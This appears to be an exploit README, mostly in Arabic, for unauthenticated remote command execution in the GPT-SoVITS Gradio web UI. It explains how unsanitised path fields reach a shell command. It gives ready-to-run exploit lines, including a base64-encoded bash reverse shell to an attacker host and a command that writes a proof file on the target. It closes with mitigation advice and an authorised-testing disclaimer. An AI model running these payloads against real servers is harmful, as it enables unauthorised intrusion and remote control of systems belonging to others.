
استغلال حقن أوامر نظام التشغيل غير المُوثَّق لواجهة GPT-SoVITS Gradio على الويب. يُوصِّل تنفيذ الأوامر عن بُعد (RCE) عبر معاملات مسار غير مُنقَّحة في مساعدات معالجة الصوت، مع دعم الصدفات العكسية وكتابة الملفات لاختبارات الأمان المصرح بها.
تنفيذ كود عن بُعد بدون مصادقة في GPT-SoVITS's
Gradio واجهة الويب (webui.py).
المساعدات الصوتية (open_asr, open_slice, open_denoise, open_uvr5) تقوم بتضمين قيم المسار غير المنقحة من مربع نص Gradio مباشرة في أوامر شل تُنفذ مع Popen(..., shell=True). المسارات تمر فقط عبر clean_path()، الذي يزيل فقط علامات الاقتباس والمسافات البادئة/النهائية — الأحرف الأولية للشل في الوسط تبقى. حقل asr_opt_dir لا يتم حتى التحقق من وجوده، لذا فإن استبدال الأمر $(...) داخله يقع داخل -o "$(...)" ويُشغّل كمستخدم عملية واجهة الويب. واجهة الويب تُصدر بدون مصادقة، لذا يكفي طلب واحد.
<= 20250606v2pro9874 (واجهة Gradio ويب، بدون مصادقة)pip install gradio_client
# write proof to a file on the target
python3 exploit.py http://10.10.10.10:9874/ -c 'id > /tmp/pwned 2>&1'
# reverse shell (base64 keeps the payload quote-free inside the $() context;
# bash -c is needed because the sink runs under /bin/sh, which lacks /dev/tcp)
B64=$(echo -n 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1' | base64 -w0)
python3 exploit.py http://10.10.10.10:9874/ -c "echo $B64|base64 -d|bash"
الأمر المُحقون يُنفذ على الخادم؛ مخرجاته لا تُعاد، لذا استخدم شل عكسية (أو اكتب في مسار قابل للقراءة) لرؤية النتيجة. asr_opt_dir مُغلف في $(...)، لذا يُنفذ عبر استبدال الأمر بغض النظر عن تثبيت أي نموذج ASR.
open_asr يبني وينفذ:
asr_opt_dir = clean_path(asr_opt_dir) # only strips leading/trailing quotes/spaces
cmd += f' -o "{asr_opt_dir}"' # asr_opt_dir NOT existence-checked
Popen(cmd, shell=True) # /bin/sh runs $(...) inside the -o "..."
واجهة Gradio تكشف سطح API الخاص بها عند /config:
curl -s http://10.10.10.10:9874/config | python3 -c "import sys,json;print([x['api_name'] for x in json.load(sys.stdin)['dependencies'] if x.get('api_name')][:12])"
# [... 'open_asr', 'close_asr', 'open_slice', ...]
قم بالترقية بعد GPT-SoVITS 20250606v2pro، ولا تعرض أبدًا واجهة الويب لشبكات غير موثوقة، ولا تشغّلها كمستخدم مميز.
لأغراض الاختبار الأمني المصرح به والتعليم فقط. استخدمه فقط ضد أنظمة تمتلكها أو لديك إذن صريح لاختبارها.